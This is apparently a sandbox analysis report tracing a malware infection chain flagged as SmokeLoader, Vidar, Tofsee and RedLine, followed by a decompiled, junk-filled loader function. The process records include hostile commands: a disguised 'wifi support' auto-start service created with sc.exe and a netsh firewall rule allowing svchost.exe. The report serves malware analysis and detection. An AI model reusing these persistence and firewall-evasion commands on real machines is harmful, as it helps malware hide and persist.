MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 95C6.exe PID: 6804 Parent PID: 6844

General

Start time:	12:29:20
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\95C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\95C6.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.787707490.0000000002051000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.787566424.0000000002030000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 6812 Parent PID: 6760

General

Start time:	12:29:21
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 520
Imagebase:	0x1160000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: CFE8.exe PID: 4296 Parent PID: 3424

General

Start time:	12:29:22
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CFE8.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CFE8.exe
Imagebase:	0x400000
File size:	323072 bytes
MD5 hash:	E1AF41681888A847863EE17BD63450A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: E2A6.exe PID: 4752 Parent PID: 3424

General

Start time:	12:29:27
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\E2A6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\E2A6.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	E4B33586BFDB5A9CD45F3038B8F4CCBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000013.00000002.803426452.0000000000560000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000013.00000003.785124178.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: FA5C.exe PID: 796 Parent PID: 3424

General

Start time:	12:29:29
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\FA5C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FA5C.exe
Imagebase:	0x530000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: svchost.exe PID: 4800 Parent PID: 568

General

Start time:	12:29:30
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5768 Parent PID: 4752

General

Start time:	12:29:32
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txlhcyih\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5152 Parent PID: 5768

General

Start time:	12:29:32
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4692 Parent PID: 4752

General

Start time:	12:29:33
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6316 Parent PID: 4692

General

Start time:	12:29:33
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 4044 Parent PID: 4752

General

Start time:	12:29:34
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0x20000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2860 Parent PID: 4044

General

Start time:	12:29:34
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 240 Parent PID: 4752

General

Start time:	12:29:35
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description txlhcyih "wifi internet conection
Imagebase:	0x20000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6480 Parent PID: 240

General

Start time:	12:29:36
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 1740 Parent PID: 4752

General

Start time:	12:29:36
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start txlhcyih
Imagebase:	0x20000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2216 Parent PID: 1740

General

Start time:	12:29:37
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: netsh.exe PID: 6536 Parent PID: 4752

General

Start time:	12:29:37
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x9f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: gaystiqf.exe PID: 4588 Parent PID: 568

General

Start time:	12:29:37
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d"C:\Users\user\AppData\Local\Temp\E2A6.exe"
Imagebase:	0x400000
File size:	12005888 bytes
MD5 hash:	6D07EFE4270BD10431D8E32CADCFF4E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000023.00000002.809196350.0000000000630000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000023.00000003.805779040.0000000000650000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000023.00000002.808208197.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000023.00000002.809631719.0000000000850000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 4620 Parent PID: 6536

General

Start time:	12:29:38
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5288 Parent PID: 4588

General

Start time:	12:29:39
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0x110000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000026.00000002.979557466.0000000002360000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: FA5C.exe PID: 1496 Parent PID: 796

General

Start time:	12:29:43
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\FA5C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FA5C.exe
Imagebase:	0xab0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.824314083.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.824767570.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.823843288.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.825252840.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: sbxGIUIhRd.exe PID: 6964 Parent PID: 5836 sbxGIUIhRd.exeCOMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	8.2%
Signature Coverage:	16.1%
Total number of Nodes:	354
Total number of Limit Nodes:	26

Executed Functions

Function 00419EFB, Relevance: 259.5, APIs: 115, Strings: 33, Instructions: 521
timestringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419EFB(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t56;
				CHAR* _t58;
				intOrPtr _t92;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				void* _t206;
				void* _t209;
				void* _t211;
				intOrPtr _t232;
				void* _t233;

				_t199 = __edx;
				E0041AAD0(0x20f8);
				if( *0x54abf4 == 0x177) {
					E0041B500(0, 0, 0);
					E0041B130(_t198, 0, 0);
					E0041B0E0(_t198, 0, 0);
					E0041B060(0);
					E0041AE70("0.0");
					st0 = __fp0;
					E0041ABF0(_t198, 0);
					E0041ABC0(_t198, 0, 0);
					E0041AB40(_t198, 0);
					_t58 = E0041AB20(0);
					_t211 = _t211 + 0x38;
				}
				_t200 = 0;
				L3:
				L3:
				if( *0x54abf4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t211 + 0x10);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t211 + 0x110c, 0);
					__imp__AssignProcessToJobObject(0, 0);
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t211 + 0x50c, 0);
					__imp__FindNextVolumeMountPointW(0, _t211 + 0x90c, 0);
					GetCompressedFileSizeA("wovag", _t211 + 0x1c);
					SetNamedPipeHandleState(0, 0, 0, 0);
					lstrcpynA(_t211 + 0x110, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t58 = OpenMutexA(0, 0, "mesehoripirowarericaju");
				}
				if(_t200 == 0x69d) {
					goto L8;
				}
				_t200 = _t200 + 1;
				if(_t200 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t201 = 0;
				do {
					if(_t201 < 0x4cd) {
						GetLastError();
					}
					if( *0x54abf4 == 0x6b) {
						_t58 = HeapFree(0, 0, 0);
					}
					_t201 = _t201 + 1;
					 *0x5447e0 = 0;
				} while (_t201 < 0x1763459b);
				_t209 = 0;
				do {
					if(_t209 == 0x40d) {
						 *0x54abf4 =  *0x54abf4 + 0x12336;
					}
					if( *0x54abf4 == 0x44d) {
						 *(_t211 + 0x10) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t211 + 0x14), _t211 + 0x1c);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetConsoleMode(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t211 + 0x40, _t211 + 0x34);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t211 + 0x20) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t211 + 0x114, 0, _t211 + 0x18, _t211 + 0x20);
						WriteConsoleInputW(0, 0, 0, _t211 + 0x18);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t211 + 0x110c, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t211 + 0x510, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t211 + 0x190c, 0);
						_t58 = lstrcpyA(_t211 + 0x90c, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t209 = _t209 + 1;
				} while (_t209 < 0x486263);
				E00419C86(_t58);
				_t204 = GetOverlappedResult;
				 *(_t211 + 0x10) = 0;
				do {
					if( *0x54abf4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if( *(_t211 + 0x10) == 0x3c58) {
						_t92 =  *0x440008; // 0x3f6faa
						 *0x54abf8 = _t92;
					}
					if( *0x54abf4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t211 + 0x1910, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t211 + 0x18);
						PeekConsoleInputW(0, _t211 + 0x28, 0, _t211 + 0x14);
						BuildCommDCBW(L"werahixiwexetujocaxojikutevolekeginizegimowif", _t211 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t211 + 0x508);
						ResetEvent(_t211 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t211 + 0xc8);
						 *((intOrPtr*)(_t211 + 0x70)) = 0;
						E0041B520(_t204, _t211 + 0x6c, 0, 0x30);
						_t211 = _t211 + 0xc;
						SetDefaultCommConfigW(0, _t211 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t211 + 0x90c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t211 + 0x108);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t211 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t211 + 0x1110, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					 *(_t211 + 0x10) =  *(_t211 + 0x10) + 1;
				} while ( *(_t211 + 0x10) < 0xe6a95);
				_t205 = 0;
				_t232 =  *0x54abf4; // 0xf628
				if(_t232 > 0) {
					do {
						E00419A51(_t205);
						_t205 = _t205 + 1;
						_t233 = _t205 -  *0x54abf4; // 0xf628
					} while (_t233 < 0);
				}
				_t206 = 0;
				do {
					if(_t206 == 0x26) {
						E00419B9E(_t199);
					}
					_t206 = _t206 + 1;
				} while (_t206 < 0x3dc4b7);
				E00419C9A(); // executed
				if( *0x54abf4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t211 + 0x1c, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t211 + 0x18, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t211 + 0x20, _t211 + 0x1108);
					__imp__CreateActCtxW(_t211 + 0x44);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t211 + 0x190c, 0);
					GetVersion();
					SetConsoleMode(_t211 + 0x14, 0);
					 *(_t211 + 0x20) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					ReadFileScatter(0, 0, 0, 0, _t211 + 0x20);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t211 + 0x910, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t56 =  *0x440160; // 0xffffd2f2
				 *0x54abf4 = _t56;
				goto L9;
			}

0x00419efb
0x00419f00
0x00419f15
0x00419f1a
0x00419f21
0x00419f28
0x00419f2e
0x00419f38
0x00419f3d
0x00419f40
0x00419f47
0x00419f4d
0x00419f53
0x00419f58
0x00419f58
0x00419f5b
0x00000000
0x00419f5d
0x00419f64
0x00419f74
0x00419f7f
0x00419f87
0x00419f8d
0x00419f9d
0x00419fa5
0x00419fb0
0x00419fb7
0x00419fcc
0x00419fe1
0x00419ff1
0x0041a001
0x0041a00b
0x0041a01f
0x0041a026
0x0041a02d
0x0041a034
0x0041a03c
0x0041a043
0x0041a049
0x0041a053
0x0041a05a
0x0041a061
0x0041a069
0x0041a070
0x0041a07d
0x0041a07d
0x0041a089
0x00000000
0x00000000
0x0041a08b
0x0041a092
0x00000000
0x00000000
0x0041a098
0x0041a0a4
0x0041a0a4
0x0041a0a6
0x0041a0ac
0x0041a0ae
0x0041a0ae
0x0041a0bb
0x0041a0c0
0x0041a0c0
0x0041a0c6
0x0041a0cd
0x0041a0cd
0x0041a0db
0x0041a0dd
0x0041a0e3
0x0041a0e5
0x0041a0e5
0x0041a0f9
0x0041a101
0x0041a10a
0x0041a11c
0x0041a127
0x0041a12f
0x0041a132
0x0041a13e
0x0041a144
0x0041a14c
0x0041a15c
0x0041a164
0x0041a16d
0x0041a175
0x0041a17d
0x0041a17e
0x0041a17f
0x0041a180
0x0041a197
0x0041a1a5
0x0041a1ab
0x0041a1bb
0x0041a1c1
0x0041a1c8
0x0041a1d9
0x0041a1e0
0x0041a1ea
0x0041a1f5
0x0041a1fc
0x0041a203
0x0041a213
0x0041a225
0x0041a22d
0x0041a22d
0x0041a233
0x0041a234
0x0041a240
0x0041a245
0x0041a251
0x0041a255
0x0041a25f
0x0041a262
0x0041a262
0x0041a270
0x0041a272
0x0041a277
0x0041a277
0x0041a283
0x0041a291
0x0041a298
0x0041a2a1
0x0041a2b3
0x0041a2c3
0x0041a2cd
0x0041a2d1
0x0041a2d9
0x0041a2e3
0x0041a2f3
0x0041a305
0x0041a315
0x0041a31d
0x0041a324
0x0041a32e
0x0041a332
0x0041a33b
0x0041a34a
0x0041a358
0x0041a36e
0x0041a37c
0x0041a380
0x0041a385
0x0041a38f
0x0041a397
0x0041a39e
0x0041a3a6
0x0041a3b6
0x0041a3be
0x0041a3c6
0x0041a3d9
0x0041a3e0
0x0041a3ee
0x0041a40c
0x0041a415
0x0041a41f
0x0041a424
0x0041a424
0x0041a42a
0x0041a42e
0x0041a43c
0x0041a43e
0x0041a444
0x0041a446
0x0041a447
0x0041a44c
0x0041a44d
0x0041a44d
0x0041a446
0x0041a455
0x0041a457
0x0041a45a
0x0041a45c
0x0041a45c
0x0041a461
0x0041a462
0x0041a46a
0x0041a476
0x0041a485
0x0041a48d
0x0041a494
0x0041a49d
0x0041a4a9
0x0041a4b1
0x0041a4c6
0x0041a4d1
0x0041a4d8
0x0041a4e3
0x0041a4eb
0x0041a4fa
0x0041a500
0x0041a50c
0x0041a514
0x0041a51c
0x0041a51d
0x0041a51e
0x0041a51f
0x0041a529
0x0041a539
0x0041a552
0x0041a554
0x0041a55f
0x0041a55f
0x0041a571
0x0041a09a
0x0041a09a
0x0041a09f
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419F1A

Part of subcall function 0041B500: __vsprintf_l.LIBCMTD ref: 0041B513

_putc.LIBCMTD ref: 00419F21

Part of subcall function 0041B130: __invalid_parameter.LIBCMTD ref: 0041B1BD

__wrename.LIBCMTD ref: 00419F28

Part of subcall function 0041B0E0: MoveFileA.KERNEL32(?,?), ref: 0041B0EE
Part of subcall function 0041B0E0: GetLastError.KERNEL32 ref: 0041B0F8
Part of subcall function 0041B0E0: __dosmaperr.LIBCMTD ref: 0041B114

_atexit.LIBCMTD ref: 00419F2E

Part of subcall function 0041AE70: __atof_l.LIBCMTD ref: 0041AE7B

_malloc.LIBCMTD ref: 00419F40
_realloc.LIBCMTD ref: 00419F47

Part of subcall function 0041ABC0: __realloc_dbg.LIBCMTD ref: 0041ABD4

_ferror.LIBCMTD ref: 00419F4D

Part of subcall function 0041AB40: __invalid_parameter.LIBCMTD ref: 0041AB9A

Part of subcall function 0041AB20: __wcstoi64.LIBCMTD ref: 0041AB2D

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419F74
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419F7F
Process32NextW.KERNEL32(00000000,00000000), ref: 00419F87
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419F8D
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419F9D
AssignProcessToJobObject.KERNEL32 ref: 00419FA5
GlobalAddAtomW.KERNEL32 ref: 00419FB0
DeleteAtom.KERNEL32(00000000), ref: 00419FB7
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419FCC
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419FE1
FindNextVolumeMountPointW.KERNEL32 ref: 00419FF1
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 0041A001
SetNamedPipeHandleState.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A00B
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 0041A01F
GetProcessVersion.KERNEL32(00000000), ref: 0041A026
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041A02D
UnregisterWait.KERNEL32(00000000), ref: 0041A034
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 0041A03C
CancelWaitableTimer.KERNEL32(00000000), ref: 0041A043
SetFileApisToANSI.KERNEL32 ref: 0041A049
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A053
FindClose.KERNEL32(00000000), ref: 0041A05A
SetEndOfFile.KERNEL32(00000000), ref: 0041A061
GetCommMask.KERNEL32(00000000,00000000), ref: 0041A069
LocalLock.KERNEL32(00000000), ref: 0041A070
OpenMutexA.KERNEL32 ref: 0041A07D
GetLastError.KERNEL32 ref: 0041A0AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A0C0
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A11C
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A127
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A12F
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A132
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A13E
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A144
_lopen.KERNEL32 ref: 0041A14C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A15C
SetCommState.KERNEL32(00000000,00000000), ref: 0041A164
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A16D
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A197
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A1A5
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A1AB
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A1BB
FreeConsole.KERNEL32 ref: 0041A1C1
